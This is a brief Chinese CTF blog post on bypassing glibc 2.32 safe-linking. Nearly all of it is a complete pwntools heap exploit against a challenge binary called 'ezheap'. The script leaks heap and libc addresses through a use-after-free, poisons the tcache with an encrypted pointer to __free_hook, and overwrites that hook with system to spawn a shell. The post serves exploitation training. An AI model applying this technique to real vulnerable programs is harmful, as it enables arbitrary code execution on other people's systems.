decrypt safe unlink

[TOC] 这篇博客已经讲的很详细了 与libc2.31有些许不同的地方就是libc2.32多加了对next域的限制,稍作修改即可

代码

from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/ezheap"
libc=ELF("/home/zp9080/PWN/libc-2.32.so")
elf=ELF(file)
p=process(file)
# p=gdb.debug(file,'b *$rebase(0x1707)')
def add(size,content):
    p.sendlineafter(">> ",str(1))
    p.sendlineafter("Size: ",str(size))
    p.sendlineafter("Content: ",content)
    
def edit(index,content):
    p.sendlineafter(">> ",str(2))
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Content: ",content)
    
def show(index):
    p.sendlineafter(">> ",str(4))
    p.sendlineafter("Index: ",str(index))
    
def delete(index):
    p.sendlineafter(">> ",str(3))
    p.sendlineafter("Index: ",str(index))


add(0x60,'a'*0x10)#0
add(0x60,'b'*0x10)#1
delete(0)

show(0)#leak heapbase
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
print('heapbase',hex(heap_base))

add(0x60,'b')#2
delete(1)
#tcache 0x70 : 0=2->1
delete(0)

#add(0x80)是为了避免进入fastbin
#3-10
for i in range(3,11):
    add(0x80,'s')
add(0x10,'prevent chunk')
for i in range(3,11):
    delete(i)

#11
show(10)#leak libc
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1e3c00
print('libcbase',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sys_addr=libc_base+libc.symbols['system']

value=((heap_base+0x2a0)>>12)^free_hook
edit(2,p64(value))

add(0x60,'/bin/sh\x00')
add(0x60,p64(sys_addr))
delete(12)
p.interactive()

原理

堆地址一般低12位为0,页对齐